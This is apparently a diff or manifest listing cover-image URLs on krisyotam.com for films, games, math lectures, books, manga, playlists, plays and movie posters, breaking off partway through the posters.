+https://krisyotam.com/cdn/photos/covers/film/pickpocket-robert-bresson-1959.jpg +https://krisyotam.com/cdn/photos/covers/film/pierrot-le-fou-jean-luc-godard-1965.jpg +https://krisyotam.com/cdn/photos/covers/film/pink-flamingos-john-waters-1972.jpg +https://krisyotam.com/cdn/photos/covers/film/playtime-jacques-tati-1967.jpg +https://krisyotam.com/cdn/photos/covers/film/portrait-of-a-lady-on-fire-celine-sciamma-2019.jpg +https://krisyotam.com/cdn/photos/covers/film/possession-andrzej-zuawski-1981.jpg +https://krisyotam.com/cdn/photos/covers/film/psycho-alfred-hitchcock-1960.jpg +https://krisyotam.com/cdn/photos/covers/film/pulp-fiction-quentin-tarantino-1994.jpg +https://krisyotam.com/cdn/photos/covers/film/pyaasa-guru-dutt-1957.jpg +https://krisyotam.com/cdn/photos/covers/film/raging-bull-martin-scorsese-1980.jpg +https://krisyotam.com/cdn/photos/covers/film/raiders-of-the-lost-ark-steven-spielberg-1981.jpg +https://krisyotam.com/cdn/photos/covers/film/ran-akira-kurosawa-1985.jpg +https://krisyotam.com/cdn/photos/covers/film/rashomon-akira-kurosawa-1950.jpg +https://krisyotam.com/cdn/photos/covers/film/rear-window-alfred-hitchcock-1954.jpg +https://krisyotam.com/cdn/photos/covers/film/red-desert-michelangelo-antonioni-1964.jpg +https://krisyotam.com/cdn/photos/covers/film/rio-bravo-howard-hawks-1959.jpg +https://krisyotam.com/cdn/photos/covers/film/sambizanga-sarah-maldoror-1972.jpg +https://krisyotam.com/cdn/photos/covers/film/sans-soleil-chris-marker-1983.jpg +https://krisyotam.com/cdn/photos/covers/film/sansho-the-bailiff-kenji-mizoguchi-1954.jpg +https://krisyotam.com/cdn/photos/covers/film/satantango-bela-tarr-1994.jpg +https://krisyotam.com/cdn/photos/covers/film/seven-samurai-akira-kurosawa-1954.jpg +https://krisyotam.com/cdn/photos/covers/film/sherlock-jr-buster-keaton-1924.jpg +https://krisyotam.com/cdn/photos/covers/film/shoah-claude-lanzmann-1985.jpg +https://krisyotam.com/cdn/photos/covers/film/singin-in-the-rain-gene-kelly-1952.jpg +https://krisyotam.com/cdn/photos/covers/film/soleil-o-med-hondo-1970.jpg +https://krisyotam.com/cdn/photos/covers/film/some-like-it-hot-billy-wilder-1959.jpg +https://krisyotam.com/cdn/photos/covers/film/spirited-away-hayao-miyazaki-2001.jpg +https://krisyotam.com/cdn/photos/covers/film/stalker-andrei-tarkovsky-1979.jpg +https://krisyotam.com/cdn/photos/covers/film/star-wars-george-lucas-1977.jpg +https://krisyotam.com/cdn/photos/covers/film/sullivans-travels-preston-sturges-1941.jpg +https://krisyotam.com/cdn/photos/covers/film/sunrise-a-song-of-two-humans-fw-murnau-1927.jpg +https://krisyotam.com/cdn/photos/covers/film/sunset-blvd-billy-wilder-1950.jpg +https://krisyotam.com/cdn/photos/covers/film/suspiria-dario-argento-1977.jpg +https://krisyotam.com/cdn/photos/covers/film/symbiopsychotaxiplasm-take-one-william-greaves-1968.jpg +https://krisyotam.com/cdn/photos/covers/film/syndromes-and-a-century-apichatpong-weerasethakul-2006.jpg +https://krisyotam.com/cdn/photos/covers/film/taste-of-cherry-abbas-kiarostami-1997.jpg +https://krisyotam.com/cdn/photos/covers/film/taxi-driver-martin-scorsese-1976.jpg +https://krisyotam.com/cdn/photos/covers/film/the-400-blows-francois-truffaut-1959.jpg +https://krisyotam.com/cdn/photos/covers/film/the-apartment-billy-wilder-1960.jpg +https://krisyotam.com/cdn/photos/covers/film/the-ascent-larisa-shepitko-1977.jpg +https://krisyotam.com/cdn/photos/covers/film/the-battle-of-algiers-gillo-pontecorvo-1966.jpg +https://krisyotam.com/cdn/photos/covers/film/the-birds-alfred-hitchcock-1963.jpg +https://krisyotam.com/cdn/photos/covers/film/the-color-of-pomegranates-sergei-parajanov-1969.jpg +https://krisyotam.com/cdn/photos/covers/film/the-conformist-bernardo-bertolucci-1970.jpg +https://krisyotam.com/cdn/photos/covers/film/the-crowd-king-vidor-1928.jpg +https://krisyotam.com/cdn/photos/covers/film/the-deer-hunter-michael-cimino-1978.jpg +https://krisyotam.com/cdn/photos/covers/film/the-exterminating-angel-luis-bunuel-1962.jpg +https://krisyotam.com/cdn/photos/covers/film/the-general-buster-keaton-1926.jpg +https://krisyotam.com/cdn/photos/covers/film/the-gleaners-and-i-agnes-varda-2000.jpg +https://krisyotam.com/cdn/photos/covers/film/the-godfather-francis-ford-coppola-1972.jpg +https://krisyotam.com/cdn/photos/covers/film/the-godfather-part-ii-francis-ford-coppola-1974.jpg +https://krisyotam.com/cdn/photos/covers/film/the-good-the-bad-and-the-ugly-sergio-leone-1966.jpg +https://krisyotam.com/cdn/photos/covers/film/the-gospel-according-to-st-matthew-pier-paolo-pasolini-1964.jpg +https://krisyotam.com/cdn/photos/covers/film/the-green-ray-eric-rohmer-1986.jpg +https://krisyotam.com/cdn/photos/covers/film/the-headless-woman-lucrecia-martel-2008.jpg +https://krisyotam.com/cdn/photos/covers/film/the-hour-of-the-furnaces-fernando-solanas-1968.jpg +https://krisyotam.com/cdn/photos/covers/film/the-house-is-black-forough-farrokhzad-1963.jpg +https://krisyotam.com/cdn/photos/covers/film/the-intruder-claire-denis-2004.jpg +https://krisyotam.com/cdn/photos/covers/film/the-last-laugh-fw-murnau-1924.jpg +https://krisyotam.com/cdn/photos/covers/film/the-leopard-luchino-visconti-1963.jpg +https://krisyotam.com/cdn/photos/covers/film/the-life-and-death-of-colonel-blimp-michael-powell-1943.jpg +https://krisyotam.com/cdn/photos/covers/film/the-magnificent-ambersons-orson-welles-1942.jpg +https://krisyotam.com/cdn/photos/covers/film/the-man-who-shot-liberty-valance-john-ford-1962.jpg +https://krisyotam.com/cdn/photos/covers/film/the-matrix-lana-wachowski-1999.jpg +https://krisyotam.com/cdn/photos/covers/film/the-night-of-the-hunter-charles-laughton-1955.jpg +https://krisyotam.com/cdn/photos/covers/film/the-passion-of-joan-of-arc-carl-theodor-dreyer-1928.jpg +https://krisyotam.com/cdn/photos/covers/film/the-piano-jane-campion-1993.jpg +https://krisyotam.com/cdn/photos/covers/film/the-quince-tree-sun-victor-erice-1992.jpg +https://krisyotam.com/cdn/photos/covers/film/the-red-shoes-michael-powell-1948.jpg +https://krisyotam.com/cdn/photos/covers/film/the-river-jean-renoir-1951.jpg +https://krisyotam.com/cdn/photos/covers/film/the-searchers-john-ford-1956.jpg +https://krisyotam.com/cdn/photos/covers/film/the-seventh-seal-ingmar-bergman-1957.jpg +https://krisyotam.com/cdn/photos/covers/film/the-shining-stanley-kubrick-1980.jpg +https://krisyotam.com/cdn/photos/covers/film/the-spirit-of-the-beehive-victor-erice-1973.jpg +https://krisyotam.com/cdn/photos/covers/film/the-texas-chain-saw-massacre-tobe-hooper-1974.jpg +https://krisyotam.com/cdn/photos/covers/film/the-thing-john-carpenter-1982.jpg +https://krisyotam.com/cdn/photos/covers/film/the-third-man-carol-reed-1949.jpg +https://krisyotam.com/cdn/photos/covers/film/the-tree-of-life-terrence-malick-2011.jpg +https://krisyotam.com/cdn/photos/covers/film/the-umbrellas-of-cherbourg-jacques-demy-1964.jpg +https://krisyotam.com/cdn/photos/covers/film/the-watermelon-woman-cheryl-dunye-1996.jpg +https://krisyotam.com/cdn/photos/covers/film/the-wild-bunch-sam-peckinpah-1969.jpg +https://krisyotam.com/cdn/photos/covers/film/the-wizard-of-oz-victor-fleming-1939.jpg +https://krisyotam.com/cdn/photos/covers/film/there-will-be-blood-paul-thomas-anderson-2007.jpg +https://krisyotam.com/cdn/photos/covers/film/to-be-or-not-to-be-ernst-lubitsch-1942.jpg +https://krisyotam.com/cdn/photos/covers/film/tokyo-story-yasujiro-ozu-1953.jpg +https://krisyotam.com/cdn/photos/covers/film/touch-of-evil-orson-welles-1958.jpg +https://krisyotam.com/cdn/photos/covers/film/touki-bouki-djibril-diop-mambety-1973.jpg +https://krisyotam.com/cdn/photos/covers/film/tropical-malady-apichatpong-weerasethakul-2004.jpg +https://krisyotam.com/cdn/photos/covers/film/trouble-in-paradise-ernst-lubitsch-1932.jpg +https://krisyotam.com/cdn/photos/covers/film/twenty-years-later-eduardo-coutinho-1984.jpg +https://krisyotam.com/cdn/photos/covers/film/twin-peaks-fire-walk-with-me-david-lynch-1992.jpg +https://krisyotam.com/cdn/photos/covers/film/twin-peaks-the-return-david-lynch-2017.jpg +https://krisyotam.com/cdn/photos/covers/film/ugetsu-monogatari-kenji-mizoguchi-1953.jpg +https://krisyotam.com/cdn/photos/covers/film/un-chien-andalou-luis-bunuel-1929.jpg +https://krisyotam.com/cdn/photos/covers/film/uncle-boonmee-who-can-recall-his-past-lives-apichatpong-weerasethakul-2010.jpg +https://krisyotam.com/cdn/photos/covers/film/under-the-skin-jonathan-glazer-2013.jpg +https://krisyotam.com/cdn/photos/covers/film/vagabond-agnes-varda-1985.jpg +https://krisyotam.com/cdn/photos/covers/film/vampyr-carl-theodor-dreyer-1932.jpg +https://krisyotam.com/cdn/photos/covers/film/vertigo-alfred-hitchcock-1958.jpg +https://krisyotam.com/cdn/photos/covers/film/videodrome-david-cronenberg-1983.jpg +https://krisyotam.com/cdn/photos/covers/film/vivre-sa-vie-jean-luc-godard-1962.jpg +https://krisyotam.com/cdn/photos/covers/film/wanda-barbara-loden-1970.jpg +https://krisyotam.com/cdn/photos/covers/film/wavelength-michael-snow-1967.jpg +https://krisyotam.com/cdn/photos/covers/film/werckmeister-harmonies-bela-tarr-2000.jpg +https://krisyotam.com/cdn/photos/covers/film/west-indies-med-hondo-1979.jpg +https://krisyotam.com/cdn/photos/covers/film/west-of-the-tracks-wang-bing-2003.jpg +https://krisyotam.com/cdn/photos/covers/film/where-is-the-friends-house-abbas-kiarostami-1987.jpg +https://krisyotam.com/cdn/photos/covers/film/wild-strawberries-ingmar-bergman-1957.jpg +https://krisyotam.com/cdn/photos/covers/film/wings-of-desire-wim-wenders-1987.jpg +https://krisyotam.com/cdn/photos/covers/film/yi-yi-edward-yang-2000.jpg +https://krisyotam.com/cdn/photos/covers/film/zama-lucrecia-martel-2017.jpg +https://krisyotam.com/cdn/photos/covers/games/aimlabs.jpg +https://krisyotam.com/cdn/photos/covers/games/among-us.jpg +https://krisyotam.com/cdn/photos/covers/games/beat-star.png +https://krisyotam.com/cdn/photos/covers/games/beatstar.jpg +https://krisyotam.com/cdn/photos/covers/games/clash-of-clans.jpg +https://krisyotam.com/cdn/photos/covers/games/clash-royale.jpg +https://krisyotam.com/cdn/photos/covers/games/cyberpunk2077.webp +https://krisyotam.com/cdn/photos/covers/games/fortnite.jpg +https://krisyotam.com/cdn/photos/covers/games/geometry-dash.jpg +https://krisyotam.com/cdn/photos/covers/games/kovaaks.jpg +https://krisyotam.com/cdn/photos/covers/games/kovaaks.png +https://krisyotam.com/cdn/photos/covers/games/league-of-legends.jpg +https://krisyotam.com/cdn/photos/covers/games/league-of-legends.webp +https://krisyotam.com/cdn/photos/covers/games/lethal-company.jpg +https://krisyotam.com/cdn/photos/covers/games/lost-ark.jpg +https://krisyotam.com/cdn/photos/covers/games/lost-ark.webp +https://krisyotam.com/cdn/photos/covers/games/phantasy-star-online-2.webp +https://krisyotam.com/cdn/photos/covers/games/terraria.jpg +https://krisyotam.com/cdn/photos/covers/games/vrchat.jpg +https://krisyotam.com/cdn/photos/covers/games/white-tiles-4.png +https://krisyotam.com/cdn/photos/covers/lectures/abstract-mathematics-bridge.png +https://krisyotam.com/cdn/photos/covers/lectures/analysis-1.jpg +https://krisyotam.com/cdn/photos/covers/lectures/analysis-2.jpg +https://krisyotam.com/cdn/photos/covers/lectures/calculus-II.png +https://krisyotam.com/cdn/photos/covers/lectures/differential-equations.jpg +https://krisyotam.com/cdn/photos/covers/lectures/euclidean-geometry.png +https://krisyotam.com/cdn/photos/covers/lectures/linear-algebra.jpg +https://krisyotam.com/cdn/photos/covers/lectures/main-topology.jpg +https://krisyotam.com/cdn/photos/covers/lectures/mathmodels.jpg +https://krisyotam.com/cdn/photos/covers/lectures/mit-calc1.png +https://krisyotam.com/cdn/photos/covers/lectures/modern-algebra.png +https://krisyotam.com/cdn/photos/covers/lectures/modern-algebra2.png +https://krisyotam.com/cdn/photos/covers/lectures/multivariable-calculus.png +https://krisyotam.com/cdn/photos/covers/lectures/numbertheory.jpg +https://krisyotam.com/cdn/photos/covers/lectures/precalc.png +https://krisyotam.com/cdn/photos/covers/lectures/single-variable-calculus.png +https://krisyotam.com/cdn/photos/covers/literature/0300bc-euclids-elements-euclid.jpg +https://krisyotam.com/cdn/photos/covers/literature/1580-the-complete-essays-michel-de-montaigne.jpg +https://krisyotam.com/cdn/photos/covers/literature/1812-grimms-fairy-tales-brothers-grimm.jpeg +https://krisyotam.com/cdn/photos/covers/literature/1813-pride-and-prejudice-jane-austen.jpg +https://krisyotam.com/cdn/photos/covers/literature/1813-pride-and-prejudice-oxford-world-classics.jpg +https://krisyotam.com/cdn/photos/covers/literature/1813-pride-and-prejudice-penguin-classics.jpg +https://krisyotam.com/cdn/photos/covers/literature/1815-emma-jane-austen.webp +https://krisyotam.com/cdn/photos/covers/literature/1866-crime-and-punishment-fyodor-dostoevsky.jpg +https://krisyotam.com/cdn/photos/covers/literature/1877-anna-karenina-leo-tolstoy.jpg +https://krisyotam.com/cdn/photos/covers/literature/1882-a-synopsis-of-results-in-pure-and-applied-mathematics-george-carr.jpg +https://krisyotam.com/cdn/photos/covers/literature/1892-kiselev-geometry-book-1-andrei-kiselev.jpg +https://krisyotam.com/cdn/photos/covers/literature/1892-kiselev-geometry-book-2-andrei-kiselev.jpg +https://krisyotam.com/cdn/photos/covers/literature/1915-the-metamorphosis-franz-kafka.jpg +https://krisyotam.com/cdn/photos/covers/literature/1925-the-game-of-life-and-how-to-play-it-florence-scovel-shinn.jpg +https://krisyotam.com/cdn/photos/covers/literature/1925-the-trial-franz-kafka.jpg +https://krisyotam.com/cdn/photos/covers/literature/1929-a-room-of-ones-own-virginia-woolf.jpg +https://krisyotam.com/cdn/photos/covers/literature/1933-the-miseducation-of-the-negro-carter-g-woodson.jpg +https://krisyotam.com/cdn/photos/covers/literature/1938-an-introduction-to-the-theory-of-numbers-gh-hardy.jpg +https://krisyotam.com/cdn/photos/covers/literature/1943-plane-trigonometry-with-tables.png +https://krisyotam.com/cdn/photos/covers/literature/1943-table-of-integrals-series-and-products-gradshteyn-ryzhik.jpg +https://krisyotam.com/cdn/photos/covers/literature/1953-principles-of-mathematical-analysis-walter-rudin-baby-rudin.jpg +https://krisyotam.com/cdn/photos/covers/literature/1953-principles-of-mathematical-analysis-walter-rudin.jpg +https://krisyotam.com/cdn/photos/covers/literature/1961-calculus-vol-1-tom-apostol.jpg +https://krisyotam.com/cdn/photos/covers/literature/1962-calculus-vol-2-tom-apostol.jpg +https://krisyotam.com/cdn/photos/covers/literature/1965-algebra-serge-lang.jpg +https://krisyotam.com/cdn/photos/covers/literature/1966-topics-in-algebra-in-herstein.jpg +https://krisyotam.com/cdn/photos/covers/literature/1967-calculus-michael-spivak.jpg +https://krisyotam.com/cdn/photos/covers/literature/1971-basic-mathematics-serge-lang.jpg +https://krisyotam.com/cdn/photos/covers/literature/1978-elementary-number-theory-david-burton-alt.webp +https://krisyotam.com/cdn/photos/covers/literature/1978-elementary-number-theory-david-burton.jpg +https://krisyotam.com/cdn/photos/covers/literature/1980-elementary-analysis-kenneth-ross.jpg +https://krisyotam.com/cdn/photos/covers/literature/1980-elementary-analysis-the-theory-of-calculus-kenneth-ross.jpg +https://krisyotam.com/cdn/photos/covers/literature/1985-blood-meridian-cormac-mccarthy.jpg +https://krisyotam.com/cdn/photos/covers/literature/1989-myths-from-mesopotamia-oxford-world-classics.jpg +https://krisyotam.com/cdn/photos/covers/literature/1989-the-7-habits-of-highly-effective-people-stephen-covey.jpg +https://krisyotam.com/cdn/photos/covers/literature/1992-the-oxford-book-of-american-short-stories.jpg +https://krisyotam.com/cdn/photos/covers/literature/1993-girl-interrupted-susanna-kaysen.jpg +https://krisyotam.com/cdn/photos/covers/literature/1995-linear-algebra-done-right-sheldon-axler-alt.jpg +https://krisyotam.com/cdn/photos/covers/literature/1995-linear-algebra-done-right-sheldon-axler.jpg +https://krisyotam.com/cdn/photos/covers/literature/1996-infinite-jest-david-foster-wallace.jpg +https://krisyotam.com/cdn/photos/covers/literature/1996-the-millionaire-next-door-thomas-j-stanley.jpg +https://krisyotam.com/cdn/photos/covers/literature/1998-among-the-hidden-margaret-peterson-haddix.jpg +https://krisyotam.com/cdn/photos/covers/literature/1999-complex-variables-for-scientists-and-engineers-john-paliouras.jpg +https://krisyotam.com/cdn/photos/covers/literature/2000-the-first-philosophers-oxford-classics.jpg +https://krisyotam.com/cdn/photos/covers/literature/2000-the-millionaire-mind-thomas-j-stanley.jpg +https://krisyotam.com/cdn/photos/covers/literature/2001-all-the-math-you-missed-thomas-garrity.jpg +https://krisyotam.com/cdn/photos/covers/literature/2001-among-the-impostors-margaret-peterson-haddix.jpg +https://krisyotam.com/cdn/photos/covers/literature/2001-understanding-analysis-stephen-abbott-alt.jpg +https://krisyotam.com/cdn/photos/covers/literature/2001-understanding-analysis-stephen-abbott.jpg +https://krisyotam.com/cdn/photos/covers/literature/2002-among-the-betrayed-margaret-peterson-haddix.jpg +https://krisyotam.com/cdn/photos/covers/literature/2003-among-the-barons-margaret-peterson-haddix.jpg +https://krisyotam.com/cdn/photos/covers/literature/2004-among-the-brave-margaret-peterson-haddix.jpg +https://krisyotam.com/cdn/photos/covers/literature/2005-among-the-enemy-margaret-peterson-haddix.jpg +https://krisyotam.com/cdn/photos/covers/literature/2005-never-let-me-go-kazuo-ishiguro.jpg +https://krisyotam.com/cdn/photos/covers/literature/2006-among-the-free-margaret-peterson-haddix.jpg +https://krisyotam.com/cdn/photos/covers/literature/2007-diary-of-a-wimpy-kid-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2007-precalculus-with-limits-ron-larson.jpg +https://krisyotam.com/cdn/photos/covers/literature/2008-amulet-the-stonekeeper-kazu-kibuishi.jpg +https://krisyotam.com/cdn/photos/covers/literature/2008-diary-of-a-wimpy-kid-rodrick-rules-jeff-kinney.png +https://krisyotam.com/cdn/photos/covers/literature/2008-the-princeton-companion-to-mathematics-tim-gowers.jpg +https://krisyotam.com/cdn/photos/covers/literature/2009-a-mathematicians-lament-paul-lockhart.jpg +https://krisyotam.com/cdn/photos/covers/literature/2009-amulet-the-stonekeepers-curse-kazu-kibuishi.jpg +https://krisyotam.com/cdn/photos/covers/literature/2009-diary-of-a-wimpy-kid-dog-days-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2009-diary-of-a-wimpy-kid-the-last-straw-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2009-the-maze-runner-james-dashner.jpg +https://krisyotam.com/cdn/photos/covers/literature/2010-amulet-the-cloud-searchers-kazu-kibuishi.jpg +https://krisyotam.com/cdn/photos/covers/literature/2010-diary-of-a-wimpy-kid-the-ugly-truth-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2010-the-scorch-trials-james-dashner.jpg +https://krisyotam.com/cdn/photos/covers/literature/2011-amulet-the-last-council-kazu-kibuishi.jpg +https://krisyotam.com/cdn/photos/covers/literature/2011-diary-of-a-wimpy-kid-cabin-fever-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2011-divergent-veronica-roth.jpg +https://krisyotam.com/cdn/photos/covers/literature/2011-shark-wars-ej-altbacker.jpg +https://krisyotam.com/cdn/photos/covers/literature/2011-shark-wars-into-the-abyss-ej-altbacker.jpg +https://krisyotam.com/cdn/photos/covers/literature/2011-the-death-cure-james-dashner.jpg +https://krisyotam.com/cdn/photos/covers/literature/2011-the-unwanteds-lisa-mcmann.jpg +https://krisyotam.com/cdn/photos/covers/literature/2012-amulet-prince-of-the-elves-kazu-kibuishi.jpg +https://krisyotam.com/cdn/photos/covers/literature/2012-diary-of-a-wimpy-kid-the-third-wheel-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2012-insurgent-veronica-roth.jpg +https://krisyotam.com/cdn/photos/covers/literature/2012-shark-wars-kingdom-of-the-deep-ej-altbacker.jpg +https://krisyotam.com/cdn/photos/covers/literature/2012-shark-wars-the-battle-of-riptide-ej-altbacker.jpg +https://krisyotam.com/cdn/photos/covers/literature/2012-the-kill-order-james-dashner.jpg +https://krisyotam.com/cdn/photos/covers/literature/2012-the-unwanteds-island-of-silence-lisa-mcmann.jpg +https://krisyotam.com/cdn/photos/covers/literature/2013-allegiant-veronica-roth.jpg +https://krisyotam.com/cdn/photos/covers/literature/2013-diary-of-a-wimpy-kid-hard-luck-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2013-shark-wars-enemy-of-oceans-ej-altbacker.jpg +https://krisyotam.com/cdn/photos/covers/literature/2013-shark-wars-the-last-emprex-ej-altbacker.jpg +https://krisyotam.com/cdn/photos/covers/literature/2013-the-unwanteds-island-of-fire-lisa-mcmann.jpg +https://krisyotam.com/cdn/photos/covers/literature/2014-amulet-escape-from-lucien-kazu-kibuishi.jpg +https://krisyotam.com/cdn/photos/covers/literature/2014-diary-of-a-wimpy-kid-the-long-haul-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2014-the-unwanteds-island-of-legends-lisa-mcmann.jpg +https://krisyotam.com/cdn/photos/covers/literature/2014-the-unwanteds-island-of-shipwrecks-lisa-mcmann.jpg +https://krisyotam.com/cdn/photos/covers/literature/2015-diary-of-a-wimpy-kid-old-school-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2015-princeton-companion-to-applied-mathematics.jpg +https://krisyotam.com/cdn/photos/covers/literature/2015-the-unwanteds-island-of-graves-lisa-mcmann.jpg +https://krisyotam.com/cdn/photos/covers/literature/2016-amulet-firelight-kazu-kibuishi.jpg +https://krisyotam.com/cdn/photos/covers/literature/2016-diary-of-a-wimpy-kid-double-down-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2016-euclidean-geometry-in-mathematical-olympiads-evan-chen.jpg +https://krisyotam.com/cdn/photos/covers/literature/2016-ikigai-hector-garcia.jpg +https://krisyotam.com/cdn/photos/covers/literature/2016-scythe-neal-shusterman.jpg +https://krisyotam.com/cdn/photos/covers/literature/2016-the-fever-code-james-dashner.jpg +https://krisyotam.com/cdn/photos/covers/literature/2016-the-unwanteds-island-of-dragons-lisa-mcmann.jpg +https://krisyotam.com/cdn/photos/covers/literature/2017-diary-of-a-wimpy-kid-the-getaway-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2018-amulet-supernova-kazu-kibuishi.jpg +https://krisyotam.com/cdn/photos/covers/literature/2018-atomic-habits-james-clear.jpg +https://krisyotam.com/cdn/photos/covers/literature/2018-diary-of-a-wimpy-kid-the-meltdown-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2018-my-year-of-rest-and-relaxation-ottessa-moshfegh.jpg +https://krisyotam.com/cdn/photos/covers/literature/2018-thunderhead-neal-shusterman.jpg +https://krisyotam.com/cdn/photos/covers/literature/2019-diary-of-a-wimpy-kid-wrecking-ball-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2019-the-toll-neal-shusterman.jpg +https://krisyotam.com/cdn/photos/covers/literature/2019-ultralearning-scott-young.jpg +https://krisyotam.com/cdn/photos/covers/literature/2020-diary-of-a-wimpy-kid-the-deep-end-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2021-calculus-chris-mcmullen.jpg +https://krisyotam.com/cdn/photos/covers/literature/2021-diary-of-a-wimpy-kid-big-shot-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2022-diary-of-a-wimpy-kid-diper-overlode-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2023-diary-of-a-wimpy-kid-no-brainer-jeff-kinney.jpg +https://krisyotam.com/cdn/photos/covers/literature/2024-amulet-waverider-kazu-kibuishi.jpg +https://krisyotam.com/cdn/photos/covers/manga/1987-tomie-junji-ito.jpg +https://krisyotam.com/cdn/photos/covers/manga/1989-ghost-in-the-shell-masamune-shirow.jpg +https://krisyotam.com/cdn/photos/covers/manga/1991-perfect-blue-yoshikazu-takeuchi.jpeg +https://krisyotam.com/cdn/photos/covers/manga/1998-hunter-x-hunter-yoshihiro-togashi.jpg +https://krisyotam.com/cdn/photos/covers/manga/1998-uzumaki-junji-ito.jpg +https://krisyotam.com/cdn/photos/covers/manga/2007-fraction-shintaro-kago.jpg +https://krisyotam.com/cdn/photos/covers/manga/2008-omoide-emanon-kenji-tsuruta.jpg +https://krisyotam.com/cdn/photos/covers/manga/2009-aku-no-hana-shuzo-oshimi.png +https://krisyotam.com/cdn/photos/covers/manga/2013-venus-in-the-blind-spot-junji-ito.jpg +https://krisyotam.com/cdn/photos/covers/manga/2015-that-time-i-got-reincarnated-as-a-slime-taiki-kawakami.jpg +https://krisyotam.com/cdn/photos/covers/manga/2017-chi-no-wadachi-shuzo-oshimi.jpg +https://krisyotam.com/cdn/photos/covers/manga/2018-jujutsu-kaisen-gege-akutami.webp +https://krisyotam.com/cdn/photos/covers/movies/chungking-express.jpg +https://krisyotam.com/cdn/photos/covers/movies/double-indemnity.jpg +https://krisyotam.com/cdn/photos/covers/movies/eternal-sunshine.jpg +https://krisyotam.com/cdn/photos/covers/movies/get-out.jpg +https://krisyotam.com/cdn/photos/covers/movies/girl-interrupted.jpg +https://krisyotam.com/cdn/photos/covers/movies/grand-budapest-hotel.jpg +https://krisyotam.com/cdn/photos/covers/movies/inception.jpg +https://krisyotam.com/cdn/photos/covers/movies/inglourious-basterds.jpg +https://krisyotam.com/cdn/photos/covers/movies/lotr-fellowship.jpg +https://krisyotam.com/cdn/photos/covers/movies/mulholland-dr.jpg +https://krisyotam.com/cdn/photos/covers/movies/parasite.jpg +https://krisyotam.com/cdn/photos/covers/movies/pulp-fiction.jpg +https://krisyotam.com/cdn/photos/covers/movies/shawshank-redemption.jpg +https://krisyotam.com/cdn/photos/covers/movies/spirited-away.jpg +https://krisyotam.com/cdn/photos/covers/movies/the-dark-knight.jpg +https://krisyotam.com/cdn/photos/covers/movies/the-godfather.jpg +https://krisyotam.com/cdn/photos/covers/movies/the-matrix.jpg +https://krisyotam.com/cdn/photos/covers/movies/wanda.jpg +https://krisyotam.com/cdn/photos/covers/movies/whiplash.jpg +https://krisyotam.com/cdn/photos/covers/playlist/2015.png +https://krisyotam.com/cdn/photos/covers/playlist/2016.png +https://krisyotam.com/cdn/photos/covers/playlist/2017.png +https://krisyotam.com/cdn/photos/covers/playlist/2018.png +https://krisyotam.com/cdn/photos/covers/playlist/2019.png +https://krisyotam.com/cdn/photos/covers/playlist/2020.png +https://krisyotam.com/cdn/photos/covers/playlist/2021.png +https://krisyotam.com/cdn/photos/covers/playlist/2022.png +https://krisyotam.com/cdn/photos/covers/playlist/2023.png +https://krisyotam.com/cdn/photos/covers/playlist/2024.png +https://krisyotam.com/cdn/photos/covers/playlist/drake-vs-kendrick.jpg +https://krisyotam.com/cdn/photos/covers/playlist/lesley-gore.jpg +https://krisyotam.com/cdn/photos/covers/plays/hamlet-prince-of-denmark.jpg +https://krisyotam.com/cdn/photos/covers/plays/no-exit-jeanne-paul-sarte.jpg +https://krisyotam.com/cdn/photos/covers/plays/othello-the-moore.jpg +https://krisyotam.com/cdn/photos/covers/plays/the-seagull-chekhov.jpg +https://krisyotam.com/cdn/photos/covers/posters/2-fast-2-furious.jpg +https://krisyotam.com/cdn/photos/covers/posters/300.jpg +https://krisyotam.com/cdn/photos/covers/posters/8-mile.jpg +https://krisyotam.com/cdn/photos/covers/posters/a-quiet-place-part-ii.jpg +https://krisyotam.com/cdn/photos/covers/posters/a-quiet-place.jpg +https://krisyotam.com/cdn/photos/covers/posters/abigail.jpg +https://krisyotam.com/cdn/photos/covers/posters/aladdin.jpg +https://krisyotam.com/cdn/photos/covers/posters/alita-battle-angel.jpg +https://krisyotam.com/cdn/photos/covers/posters/allegiant.jpg +https://krisyotam.com/cdn/photos/covers/posters/alvin-and-the-chipmunks-chipwrecked.jpg +https://krisyotam.com/cdn/photos/covers/posters/alvin-and-the-chipmunks-the-road-chip.jpg +https://krisyotam.com/cdn/photos/covers/posters/alvin-and-the-chipmunks-the-squeakquel.jpg +https://krisyotam.com/cdn/photos/covers/posters/alvin-and-the-chipmunks.jpg +https://krisyotam.com/cdn/photos/covers/posters/avatar-the-way-of-water.jpg +https://krisyotam.com/cdn/photos/covers/posters/avatar.jpg +https://krisyotam.com/cdn/photos/covers/posters/avengers-age-of-ultron.jpg +https://krisyotam.com/cdn/photos/covers/posters/avengers-endgame.jpg +https://krisyotam.com/cdn/photos/covers/posters/avengers-infinity-war.jpg +https://krisyotam.com/cdn/photos/covers/posters/ballerina.jpg +https://krisyotam.com/cdn/photos/covers/posters/beauty-and-the-beast.jpg +https://krisyotam.com/cdn/photos/covers/posters/beetlejuice.jpg +https://krisyotam.com/cdn/photos/covers/posters/big-hero-6.jpg +https://krisyotam.com/cdn/photos/covers/posters/bird-box.jpg +https://krisyotam.com/cdn/photos/covers/posters/black-panther-wakanda-forever.jpg +https://krisyotam.com/cdn/photos/covers/posters/black-panther.jpg +https://krisyotam.com/cdn/photos/covers/posters/black-swan.jpg +https://krisyotam.com/cdn/photos/covers/posters/black-widow.jpg +https://krisyotam.com/cdn/photos/covers/posters/blade-runner-2049.jpg +https://krisyotam.com/cdn/photos/covers/posters/blink-twice.jpg +https://krisyotam.com/cdn/photos/covers/posters/brave.jpg +https://krisyotam.com/cdn/photos/covers/posters/breakfast-at-tiffanys.jpg +https://krisyotam.com/cdn/photos/covers/posters/bring-her-back.jpg 